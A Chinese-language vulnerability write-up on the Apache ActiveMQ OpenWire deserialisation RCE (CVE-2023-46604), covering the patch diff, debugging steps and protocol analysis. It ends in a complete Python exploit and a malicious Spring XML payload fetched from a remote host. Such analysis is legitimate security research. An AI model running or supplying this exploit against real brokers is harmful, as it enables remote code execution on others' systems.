CVE-2023-46604 Apache ActiveMQ RCE 漏洞分析 0x01 漏洞描述 Apache ActiveMQ 是美国(Apache)基金会的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。
ActiveMQ 默认开放了 61616 端口用于接收 OpenWire 协议消息,由于针对异常消息的处理存在反射调用逻辑,攻击者可能通过构造恶意的序列化消息数据加载恶意类,执行任意代码。
0x02 影响版本 Apache ActiveMQ < 5.18.3 Apache ActiveMQ < 5.17.6 Apache ActiveMQ < 5.16.7 Apache ActiveMQ < 5.15.16
0x03 环境搭建 可以根据这里下载 https://activemq.apache.org/components/classic/download/
也可以自己起 docker
这里的 maven 有一点坑,需要先起一个 spring 的项目,然后再导入 activemq-client 的包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter</artifactId > </dependency > <dependency > <groupId > org.apache.activemq</groupId > <artifactId > activemq-client</artifactId > <version > 5.17.3</version > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-simple</artifactId > <version > 2.0.5</version > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-test</artifactId > <scope > test</scope > </dependency > </dependencies >
0x04 漏洞分析 漏洞复现 diff 代码
https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f
https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java
这里的漏洞看起来非常明显,activemq-client/src/main/java/org/apache/activemq/openwire/v9/BaseDataStreamMarshaller#createThrowable
方法,通过反射调用了任意方法。
这里的 diff 可以很明显看到多了个 OpenWireUtil
类,用来处理一种抛出异常
1 2 3 4 5 public static void validateIsThrowable (Class<?> clazz) { if (!Throwable.class.isAssignableFrom(clazz)) { throw new IllegalArgumentException ("Class " + clazz + " is not assignable to Throwable" ); } }
再往下看,这里给了 Test 类,前面这一段代码是在处理反序列化
1 2 3 4 ExceptionResponse r = new ExceptionResponse (); r.setException(new Exception ()); ByteSequence bss = format.marshal(r); ExceptionResponse response = (ExceptionResponse) format.unmarshal(bss);
看 Test 类里面的 getExceptionMarshaller()
方法,其中都判断到了一个类 ExceptionResponseMarshaller ,跟进 looseUnmarshal()
方法,发现会走到 org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#looseUnmarshalThrowable
方法。BaseDataStreamMarshaller 类是用于支持在 ActiveMQ 消息传递系统中进行数据流序列化和反序列化的基类
大致的漏洞思路目前已经比较明确了,最终触发点是 org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable
方法,有两个方法调用了这里,分别是 tightUnmarsalThrowable/looseUnmarsalThrowable
,先以 looseUnmarsalThrowable
来看,它是怎么被调用的呢?是由 org.apache.activemq.openwire.v1.ExceptionResponseMarshaller#looseUnmarshal
方法调用的。而 ExceptionResponseMarshaller
是用来处理反序列化报错的,这里对应的类是 ExceptionResponse
类。所以这一条攻击链路还是比较清楚的,流程图如下。
接下来构造一个 Openwire 协议的包,发送,看一下处理流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.apache.activemq.ActiveMQConnectionFactory;import javax.jms.Connection;import javax.jms.ConnectionFactory;import javax.jms.Destination;import javax.jms.MessageProducer;import javax.jms.Session;import javax.jms.TextMessage;public class ActiveMQProducer { public static void main (String[] args) { String brokerUrl = "tcp://192.168.80.139:61616" ; ConnectionFactory connectionFactory = new ActiveMQConnectionFactory (brokerUrl); try { Connection connection = connectionFactory.createConnection(); Session session = connection.createSession(false , Session.AUTO_ACKNOWLEDGE); Destination destination = session.createQueue("yourQueueName" ); MessageProducer producer = session.createProducer(destination); TextMessage message = session.createTextMessage("Hello, OpenWire!" ); producer.send(message); System.out.println("Message sent successfully." ); producer.close(); session.close(); connection.close(); } catch (Exception e) { e.printStackTrace(); } } }
由于这一个已经是 Openwire 协议发包的格式了,所以直接在 org.apache.activemq.openwire.OpenWireFormat#doUnmarshal
方法下断点,来观测调试一下。
往下走,先判断了 dataType 变量的值,专门拿出来看一下,可以看到此处 dataType 为 28,对应数组里面的类为 ActiveMQTextMessageMarsheller。对应的在我的 Producer 生产者里面类为
1 2 TextMessage message = session.createTextMessage("Hello, OpenWire!" );producer.send(message);
dataType 为 28
而我们需要的类是 ExceptionResponseMarshaller,对应 dataType 的值为 31,想办法进行修改。ActiveMQ 的测试类比较粗暴,是直接判断的,而不是正常的 producer 发送消息
1 2 3 4 ExceptionResponse r = new ExceptionResponse ();r.setException(new Exception ()); ByteSequence bss = format.marshal(r);ExceptionResponse response = (ExceptionResponse) format.unmarshal(bss);
所以此处,我也需要构造一个 ExceptionResponse 类发包,最开始我的尝试是将其作为 message 的一部分,但其实这并没有用,因为最终反序列化还是 TextMessage
这个类。
尝试了一段时间发现这条路是行不通的,但是最后又是可以 RCE 的,只能从中间的流程部分着手剖析,一点点看了。看了 X1r0z 师傅的分析文章 https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/ 才知道原来是另一种方式打的,很有意思。
首先在 org.apache.activemq.openwire.OpenWireFormat#marshal
系列方法下断点,往前可以看到 TcpTransport 这个类
它的 oneway 方法会调用 wireFormat.marshal()
去序列化 command command 就是前面准备发送的 ObjectMessage, 而 wireFormat 就是和它对应的序列化器 那么我们只需要手动 patch 这个方法, 将 command 改成 ExceptionResponse, 将 wireFormat 改成 ExceptionResponseMarshaller 即可
在当前源码目录下新建一个 org.apache.activemq.transport.tcp.TcpTransport
类, 然后重写对应的逻辑, 这样在运行的时候, 因为 classpath 查找顺序的问题, 程序就会优先使用当前源码目录里的 TcpTransport 类
然后是 createThrowable 方法的利用, 这块其实跟 PostgreSQL JDBC 的利用类似, 因为 ActiveMQ 自带 spring 相关依赖, 那么就可以利用 ClassPathXmlApplicationContext 加载 XML 实现 RCE
TcpTransport.java
1 2 3 4 5 6 7 public void oneway (Object command) throws IOException { this .checkStarted(); Throwable obj = new ClassPathXmlApplicationContext ("http://127.0.0.1:8000/poc.xml" ); ExceptionResponse response = new ExceptionResponse (obj); this .wireFormat.marshal(response, this .dataOut); this .dataOut.flush(); }
ClassPathXmlApplicationContext.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable { private String message; public ClassPathXmlApplicationContext (String message) { this .message = message; } @Override public String getMessage () { return message; } }
因为在 marshal 的时候会调用 o.getClass().getName()
获取类名, 而 getClass 方法无法重写 (final), 所以我在这里同样 patch 了 org.springframework.context.support.ClassPathXmlApplicationContext
, 使其继承 Throwable 类
如此一来就可以打通了,编写恶意 XML 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > touch</value > <value > /tmp/activeMQ-RCE-success</value > </list > </constructor-arg > </bean > </beans >
调试分析 先从 Server 这边调试起
看调用栈是很清晰的,会调到 TcpTransport#oneway
方法
随后根据 classpath 优先级,会优先调用我们自己 patch 的 TcpTransport#oneway
方法,里面定义了一个 ExceptionResponse 类,并将其序列化
接下来就是 Server 部分的处理了
跟进往下走,发现此处的 dataType 被设置成 31 了,对应的类也是 ExceptionResponse
根据前面分析的逻辑,来到 org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable
成功 RCE,流程很清晰明朗
协议分析 下面要做一下协议分析的部分,因为这里明确说是 openwire 协议了,wireshark 抓包
第一个数据包比较像一个 Hello 的数据包,看上去是必要的(不确定),第二个数据包是发包的数据包,第三个数据包则是反序列化的数据包回显。所以我们只需要构造第一个数据包与第二个即可。
这里我想的是先构造第二个数据包,如果直接第二个数据包发包就可以,就没有必须要加第一个包了。
搓出来的 Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import ioimport socketimport sysdef main (ip, port, poc ): classname = "org.springframework.context.support.ClassPathXmlApplicationContext" socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket_obj.connect((ip, port)) new_len = len (classname + poc) package_data_len = ascii (new_len + 17 ) Command = "1f" Command_Id = "00000000" Command_response_required = "00" CorrelationId = "00000000" with socket_obj: out = socket_obj.makefile('wb' ) out.write(int (package_data_len).to_bytes(4 , 'big' )) out.write(bytes ([31 ])) out.write(int (0 ).to_bytes(4 , 'big' )) out.write(bool (True ).to_bytes(1 , 'big' )) out.write(int (1 ).to_bytes(4 , 'big' )) out.write(len (classname).to_bytes(2 , 'big' )) out.write(classname.encode('utf-8' )) out.write(len (poc).to_bytes(2 , 'big' )) out.write(poc.encode('utf-8' )) out.flush() out.close() if __name__ == "__main__" : if len (sys.argv) != 4 : print ("Please specify the target and port and poc.xml: python3 exp.py 127.0.0.1 61616 " "http://192.168.0.101:8888/poc.xml" ) exit(-1 ) main(sys.argv[1 ], int (sys.argv[2 ]), sys.argv[3 ])
发包,打不通,明显是不对的,掉了这三个数据包
在任何一个包里面,这两段都是相同的,直接硬编码肯定不太行,需要动调看一下特殊含义。
前面两个 01 代表的是 true,为 dataIn.readBoolen()
目前调整了之后就可以了,但是发现没办法读取恶意 poc.xml
怀疑是第二个部分缺失的问题,怀疑是序列化的数据有问题,后面发现是 Throwable 的问题
同样需要 set 为 true,完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import ioimport socketimport sysdef main (ip, port, poc ): classname = "org.springframework.context.support.ClassPathXmlApplicationContext" socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket_obj.connect((ip, port)) new_len = len (classname + poc) package_data_len = ascii (new_len + 17 ) Command = "1f" Command_Id = "00000000" Command_response_required = "00" CorrelationId = "00000000" with socket_obj: out = socket_obj.makefile('wb' ) out.write(int (package_data_len).to_bytes(4 , 'big' )) out.write(bytes ([31 ])) out.write(int (0 ).to_bytes(4 , 'big' )) out.write(bool (True ).to_bytes(1 , 'big' )) out.write(int (0 ).to_bytes(4 , 'big' )) out.write(bool (True ).to_bytes(1 , 'big' )) out.write(bool (True ).to_bytes(1 , 'big' )) out.write(len (classname).to_bytes(2 , 'big' )) out.write(classname.encode('utf-8' )) out.write(bool (True ).to_bytes(1 , 'big' )) out.write(len (poc).to_bytes(2 , 'big' )) out.write(poc.encode('utf-8' )) out.flush() out.close() if __name__ == "__main__" : if len (sys.argv) != 4 : print ("Please specify the target and port and poc.xml: python3 exp.py 127.0.0.1 61616 " "http://192.168.0.101:8888/poc.xml" ) exit(-1 ) main(sys.argv[1 ], int (sys.argv[2 ]), sys.argv[3 ])
0x05 漏洞修复 其实就是前面的 patch
0x06 小结 确实是一个很有意思的洞,学到了 patch 的手法,很有意思
最后的通过分析协议来编写 EXP 也挺好玩的。
0x07 Ref X1r0z tqlllllllllll
https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/